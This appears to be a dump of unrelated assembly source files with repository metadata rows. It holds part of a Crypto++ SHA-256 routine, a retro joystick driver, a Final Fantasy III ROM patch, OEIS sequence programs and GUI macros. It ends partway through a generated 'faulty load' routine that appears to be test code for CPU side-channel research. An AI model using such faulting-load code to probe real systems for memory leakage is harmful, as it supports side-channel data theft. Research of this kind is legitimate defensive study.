add edi, [rsi+(3)*4]
ror edx, 11
add edi, [rsp+((1024+7-(3)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(3)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(3+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(3+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(3+4)) MOD (8))*4]
mov [rsp+((1024+7-(3+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(3)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(4+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(4+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((4)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((4)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((4)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(4)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(4)*4]
ror edi, 11
add edx, [rsp+((1024+7-(4)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(4)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(4+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(4+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(4+4)) MOD (8))*4]
mov [rsp+((1024+7-(4+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(4)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(5+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(5+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((5)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((5)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((5)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(5)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(5)*4]
ror edx, 11
add edi, [rsp+((1024+7-(5)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(5)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(5+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(5+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(5+4)) MOD (8))*4]
mov [rsp+((1024+7-(5+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(5)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(6+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(6+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((6)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((6)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((6)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(6)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(6)*4]
ror edi, 11
add edx, [rsp+((1024+7-(6)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(6)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(6+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(6+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(6+4)) MOD (8))*4]
mov [rsp+((1024+7-(6+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(6)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(7+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(7+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((7)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((7)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((7)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(7)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(7)*4]
ror edx, 11
add edi, [rsp+((1024+7-(7)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(7)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(7+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(7+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(7+4)) MOD (8))*4]
mov [rsp+((1024+7-(7+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(7)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(8+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(8+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((8)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((8)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((8)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(8)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(8)*4]
ror edi, 11
add edx, [rsp+((1024+7-(8)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(8)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(8+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(8+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(8+4)) MOD (8))*4]
mov [rsp+((1024+7-(8+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(8)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(9+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(9+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((9)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((9)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((9)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(9)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(9)*4]
ror edx, 11
add edi, [rsp+((1024+7-(9)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(9)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(9+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(9+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(9+4)) MOD (8))*4]
mov [rsp+((1024+7-(9+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(9)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(10+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(10+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((10)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((10)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((10)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(10)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(10)*4]
ror edi, 11
add edx, [rsp+((1024+7-(10)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(10)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(10+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(10+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(10+4)) MOD (8))*4]
mov [rsp+((1024+7-(10+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(10)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(11+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(11+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((11)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((11)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((11)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(11)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(11)*4]
ror edx, 11
add edi, [rsp+((1024+7-(11)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(11)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(11+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(11+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(11+4)) MOD (8))*4]
mov [rsp+((1024+7-(11+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(11)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(12+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(12+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((12)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((12)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((12)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(12)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(12)*4]
ror edi, 11
add edx, [rsp+((1024+7-(12)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(12)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(12+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(12+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(12+4)) MOD (8))*4]
mov [rsp+((1024+7-(12+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(12)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(13+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(13+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((13)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((13)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((13)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(13)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(13)*4]
ror edx, 11
add edi, [rsp+((1024+7-(13)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(13)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(13+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(13+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(13+4)) MOD (8))*4]
mov [rsp+((1024+7-(13+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(13)) MOD (8))*4], ecx
mov edx, [rsp+((1024+7-(14+2)) MOD (8))*4]
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
and edx, edi
xor edx, [rsp+((1024+7-(14+1)) MOD (8))*4]
mov ebp, edi
ror edi, 6
ror ebp, 25
xor ebp, edi
ror edi, 5
xor ebp, edi
add edx, ebp
mov ebp, [rsp+8*4+((1024+15-((14)-2)) MOD (16))*4]
mov edi, [rsp+8*4+((1024+15-((14)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((14)-7)) MOD (16))*4]
mov ebp, edi
shr ebp, 3
ror edi, 7
add ebx, [rsp+8*4+((1024+15-(14)) MOD (16))*4]
xor ebp, edi
add edx, [rsi+(14)*4]
ror edi, 11
add edx, [rsp+((1024+7-(14)) MOD (8))*4]
xor ebp, edi
add ebp, ebx
mov [rsp+8*4+((1024+15-(14)) MOD (16))*4], ebp
add edx, ebp
mov ebx, ecx
xor ecx, [rsp+((1024+7-(14+6)) MOD (8))*4]
and eax, ecx
xor eax, [rsp+((1024+7-(14+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add eax, edx
add edx, [rsp+((1024+7-(14+4)) MOD (8))*4]
mov [rsp+((1024+7-(14+4)) MOD (8))*4], edx
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add eax, ebp
mov [rsp+((1024+7-(14)) MOD (8))*4], eax
mov edi, [rsp+((1024+7-(15+2)) MOD (8))*4]
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
and edi, edx
xor edi, [rsp+((1024+7-(15+1)) MOD (8))*4]
mov ebp, edx
ror edx, 6
ror ebp, 25
xor ebp, edx
ror edx, 5
xor ebp, edx
add edi, ebp
mov ebp, [rsp+8*4+((1024+15-((15)-2)) MOD (16))*4]
mov edx, [rsp+8*4+((1024+15-((15)-15)) MOD (16))*4]
mov ebx, ebp
shr ebp, 10
ror ebx, 17
xor ebp, ebx
ror ebx, 2
xor ebx, ebp
add ebx, [rsp+8*4+((1024+15-((15)-7)) MOD (16))*4]
mov ebp, edx
shr ebp, 3
ror edx, 7
add ebx, [rsp+8*4+((1024+15-(15)) MOD (16))*4]
xor ebp, edx
add edi, [rsi+(15)*4]
ror edx, 11
add edi, [rsp+((1024+7-(15)) MOD (8))*4]
xor ebp, edx
add ebp, ebx
mov [rsp+8*4+((1024+15-(15)) MOD (16))*4], ebp
add edi, ebp
mov ebx, eax
xor eax, [rsp+((1024+7-(15+6)) MOD (8))*4]
and ecx, eax
xor ecx, [rsp+((1024+7-(15+6)) MOD (8))*4]
mov ebp, ebx
ror ebx, 2
add ecx, edi
add edi, [rsp+((1024+7-(15+4)) MOD (8))*4]
mov [rsp+((1024+7-(15+4)) MOD (8))*4], edi
ror ebp, 22
xor ebp, ebx
ror ebx, 11
xor ebp, ebx
add ecx, ebp
mov [rsp+((1024+7-(15)) MOD (8))*4], ecx
cmp rsi, [rsp+8*4+16*4+0*8]
jne label1
mov rcx, [rsp+8*4+16*4+1*8]
movdqa xmm1, XMMWORD PTR [rcx+1*16]
movdqa xmm0, XMMWORD PTR [rcx+0*16]
paddd xmm1, [rsp+((1024+7-(0+3)) MOD (8))*4]
paddd xmm0, [rsp+((1024+7-(0+7)) MOD (8))*4]
movdqa [rcx+1*16], xmm1
movdqa [rcx+0*16], xmm0
mov rdx, [rsp+8*4+16*4+2*8]
add rdx, 64
mov [rsp+8*4+16*4+2*8], rdx
cmp rdx, [rsp+8*4+16*4+3*8]
jne label0
add rsp, 8*4 + 16*4 + 4*8 + 8
pop rbp
pop rbx
pop rdi
pop rsi
ret
X86_SHA256_HashBlocks ENDP
_TEXT ENDS
END
| 24.022854 | 85 | 0.570749 | [
"Apache-2.0"
] | 01org/umf | 3rdparty/cryptopp/x64dll.asm | 47,301 | Assembly |
;
; Game device library for the Pasopia7
;
SECTION code_clib
PUBLIC joystick
PUBLIC _joystick
EXTERN get_psg
.joystick
._joystick
;__FASTCALL__ : joystick no. in HL
ld bc,0x1a
dec l
jr z,got_port
ld bc,0x19
dec l
jr z,got_port
ld hl,0
ret
got_port:
ld a,1 ;Select the joystick
out ($1b),a
in a,(c)
ld hl,0
cpl
rra ;UP
rl l
rra ;DOWN
rl l
rra ;LEFT
rl l
rra ;RIGHT
rl l
rra ;FIRE1
jr nc,not_fire1
set 4,l
not_fire1:
rra ;FIRE2
ret nc
set 5,l
ret
| 11.133333 | 38 | 0.654691 | [
"BSD-2-Clause"
] | ByteProject/Puddle-BuildTools | FictionTools/z88dk/libsrc/target/pasopia7/games/joystick.asm | 501 | Assembly |
;; encoding: utf-8
;; ff3_jobx_redmage.asm
;;
;; description:
;; declares tweaked parameters of Red Mage.
;;
;; version:
;; 0.1.0
;;=================================================================================================
.ifdef _BOOST_REDMAGE
;; ### 装備タイプ33h変更
FILEORG $00999 ;; 装備タイプ33h
.db $20,$00,$a0 ;; 14 00 08(賢導白) => 20 00 a0(忍ナ赤)
;; ### ブレイクブレイドとディフェンダーの装備タイプ変更
FILEORG $61588+7 ;; ディフェンダー
.db $33 ;; 0E(忍ナ) => 33
FILEORG $615a8+7 ;; ブレイクブレイド
.db $33 ;; 0E(忍ナ) => 33
;; ### Lv5魔法の行使可能職タイプ変更
;; itemid >= $c8
;; $30:98c0 MagicParam magicData[0x38]
;; 属性? 命中率? 威力 追加効果? kind? ?? effect? 装備タイプ
FILEORG $61968+7 ;; サンダガ
.db $2f ;; 2e(賢魔黒) => 2f(賢魔赤黒)
FILEORG $61970+7 ;; キル
.db $2f ;; 2e => 2f
FILEORG $61978+7 ;; イレース
.db $2f ;; 2e => 2f
FILEORG $61980+7 ;; ケアルダ
.db $31 ;; 30(賢導白) => 31(賢導赤白)
FILEORG $61988+7 ;; レイズ
.db $31 ;; 30 => 31
FILEORG $61990+7 ;; プロテス
.db $31 ;; 30 => 31
;; ### MP成長変更
;;struct LvUpParam {
;; u8 inc : 3; //この値だけステータスが上がる
;; u8 men : 1; //onならステータス上昇
;; u8 int : 1;
;; u8 vit : 1;
;; u8 agi : 1;
;; u8 str : 1;
;; u8 mp;//bit7 87654321 bit0
;;}
;;$39:a5aa LvUpParam redmage[98]
;; (original)
;; 000725D0 01 04 F9 02 41 09 99 04 41 00 F9 0B 01 04 41 00
;; 000725E0 99 0A 61 01 D9 04 01 08 D9 02 61 05 99 00 41 08
;; (tweaked)
;; 000725D0 01 04 F9 12 41 19 99 04 41 10 F9 0B 01 14 41 00
;; 000725E0 99 0A 61 11 D9 04 01 08 D9 02 61 05 99 00 41 08
FILEORG $725aa+(20<<1)+1 ;; Lv21 725d3
.db $02|(1<<(5-1))
FILEORG $725aa+(21<<1)+1 ;; Lv22 725d5
.db $09|(1<<(5-1))
FILEORG $725aa+(23<<1)+1 ;; Lv24 725d9
.db $00|(1<<(5-1))
FILEORG $725aa+(25<<1)+1 ;; Lv26 725dd
.db $04|(1<<(5-1))
FILEORG $725aa+(28<<1)+1 ;; Lv29 725e3
.db $01|(1<<(5-1))
.endif ;;_BOOST_REDMAGE
;--------------------------------------------------------------------------------------------------
| 28.925373 | 100 | 0.498452 | [
"MIT"
] | take-the-bath/ff3_hack | work/ff3_jobx_redmage.asm | 2,242 | Assembly |
; A298011: If n = Sum_{i=1..h} 2^b_i with 0 <= b_1 < ... < b_h, then a(n) = Sum_{i=1..h} i * 2^b_i.
; Submitted by Jon Maiga
; 0,1,2,5,4,9,10,17,8,17,18,29,20,33,34,49,16,33,34,53,36,57,58,81,40,65,66,93,68,97,98,129,32,65,66,101,68,105,106,145,72,113,114,157,116,161,162,209,80,129,130,181,132,185,186,241,136,193,194,253,196,257,258,321,64,129,130,197,132,201,202,273,136,209,210,285,212,289,290,369,144,225,226,309,228,313,314,401,232,321,322,413,324,417,418,513,160,257,258,357
lpb $0
mov $1,2
pow $1,$0
gcd $1,$0
add $2,$0
sub $0,$1
lpe
mov $0,$2
| 43.307692 | 356 | 0.641208 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/298/A298011.asm | 563 | Assembly |
; A114209: Number of permutations of [n] having exactly two fixed points and avoiding the patterns 123 and 231.
; 0,1,0,2,1,3,2,5,3,7,5,9,7,12,9,15,12,18,15,22,18,26,22,30,26,35,30,40,35,45,40,51,45,57,51,63,57,70,63,77,70,84,77,92,84,100,92,108,100,117,108,126,117,135,126,145,135,155,145,165,155,176,165,187,176,198,187
lpb $0,1
sub $0,1
add $2,1
add $1,$2
trn $1,$0
trn $0,1
lpe
| 35.727273 | 209 | 0.666667 | [
"Apache-2.0"
] | karttu/loda | programs/oeis/114/A114209.asm | 393 | Assembly |
; Copyright 2021 Carl Georg Biermann
; GUI definitions
; colors
.define COLOR_BACKGROUND 11
.define COLOR_FRAME 15
.define COLOR_CAPTION 15
.define COLOR_IMPORTANT_CAPTION 5; 13 is too bright
.define COLOR_TABS 1
.define COLOR_ARROWED_EDIT_BG 0
.define COLOR_ARROWED_EDIT_FG 3
.define COLOR_ARROWED_EDIT_ARROWS 1
.define COLOR_CHECKBOX 1
.define COLOR_LISTBOX_BG 0
.define COLOR_LISTBOX_FG 15
.define COLOR_LISTBOX_ARROW 1
.define COLOR_LISTBOX_POPUP_BG 0
.define COLOR_LISTBOX_POPUP_FG 7 ; or better 3?
.define COLOR_ALG_CONNECTION 15
; combined colors (foreground & background)
.define CCOLOR_CAPTION 16*COLOR_BACKGROUND+COLOR_CAPTION
.define CCOLOR_CHECKBOX_CLEAR 16*COLOR_CHECKBOX + COLOR_BACKGROUND
.define CCOLOR_CHECKBOX_TICK 16*COLOR_CHECKBOX + 0
.define CCOLOR_BUTTON 16*1 + 0
.define CCOLOR_ALG_OP_NUMBERS 16*0+13
.define CCOLOR_ALG_CONNECTION 16*COLOR_BACKGROUND+COLOR_ALG_CONNECTION
; others
.define N_PANELS 9 ; number of panels
; compile time macro: converts an ascii string to a zero-terminated string that can be displayed directly on the VERA
; currently supports characters, spaces, digits, and maybe more but untested.
; obviously cannot support "@", because that's character 0 on the VERA
.macro STR_FORMAT stf_arg
.repeat .strlen(stf_arg), i
.if (.strat(stf_arg, i)=32)
.byte 32
.else
.if (.strat(stf_arg, i)>64) && (.strat(stf_arg, i)<91)
.byte .strat(stf_arg, i)-64
.else
.byte .strat(stf_arg, i)
.endif
.endif
.endrepeat
.byte 0
.endmacro
; performs an indexed JSR. Paramters are the jump table address and the desired return address.
.macro INDEXED_JSR ej_jmp_tbl, ej_return
lda #(>(ej_return-1))
pha
lda #(<(ej_return-1))
pha
jmp (ej_jmp_tbl,x)
.endmacro
.macro PANEL_BYTE_FIELD
.repeat N_PANELS
.byte 0
.endrep
.endmacro
| 28.8125 | 117 | 0.75705 | [
"BSD-2-Clause"
] | biermanncarl/cx16-concerto | concerto_gui/gui_macros.asm | 1,844 | Assembly |
; A296954: Expansion of x*(1 - x + 4*x^2) / ((1 - x)*(1 - 2*x)).
; 0,1,2,8,20,44,92,188,380,764,1532,3068,6140,12284,24572,49148,98300,196604,393212,786428,1572860,3145724,6291452,12582908,25165820,50331644,100663292,201326588,402653180,805306364,1610612732,3221225468,6442450940,12884901884,25769803772,51539607548,103079215100,206158430204,412316860412,824633720828,1649267441660,3298534883324,6597069766652,13194139533308,26388279066620,52776558133244,105553116266492,211106232532988,422212465065980,844424930131964,1688849860263932,3377699720527868
mov $1,$0
sub $1,2
lpb $1
add $0,1
mul $0,2
sub $1,1
sub $0,$1
lpe
| 52.416667 | 487 | 0.794913 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/296/A296954.asm | 629 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x7d23, %rax
nop
nop
nop
nop
and %rcx, %rcx
mov $0x6162636465666768, %r10
movq %r10, %xmm3
movups %xmm3, (%rax)
nop
and $21150, %r11
lea addresses_WT_ht+0x161eb, %r14
dec %rbp
vmovups (%r14), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $0, %xmm5, %r11
nop
nop
nop
nop
nop
sub $40338, %rax
lea addresses_UC_ht+0x680b, %rsi
lea addresses_WT_ht+0x1ec3b, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and %r10, %r10
mov $120, %rcx
rep movsq
nop
sub %rsi, %rsi
lea addresses_WT_ht+0x18fd3, %rsi
lea addresses_WC_ht+0x38c8, %rdi
nop
nop
nop
nop
cmp $38858, %r11
mov $108, %rcx
rep movsb
nop
nop
and $48401, %rsi
lea addresses_A_ht+0x1eb, %rsi
lea addresses_WC_ht+0x53eb, %rdi
nop
nop
dec %r10
mov $9, %rcx
rep movsq
nop
and $61360, %rdi
lea addresses_normal_ht+0xcaeb, %r11
clflush (%r11)
nop
nop
nop
add %rax, %rax
mov (%r11), %esi
nop
nop
cmp $55030, %rsi
lea addresses_normal_ht+0x17cd8, %r11
nop
sub $32666, %r10
movups (%r11), %xmm7
vpextrq $1, %xmm7, %rcx
nop
nop
nop
nop
add $47155, %r11
lea addresses_A_ht+0x55eb, %rdi
clflush (%rdi)
nop
add %rax, %rax
mov $0x6162636465666768, %r11
movq %r11, %xmm4
vmovups %ymm4, (%rdi)
nop
nop
xor $51007, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Store
mov $0x4af, %rsi
nop
nop
nop
nop
nop
cmp %r15, %r15
mov $0x5152535455565758, %r11
movq %r11, (%rsi)
nop
nop
nop
inc %rsi
// Store
mov $0x3f03fe00000002eb, %rbp
nop
nop
nop
nop
nop
add %rcx, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm2
movups %xmm2, (%rbp)
nop
nop
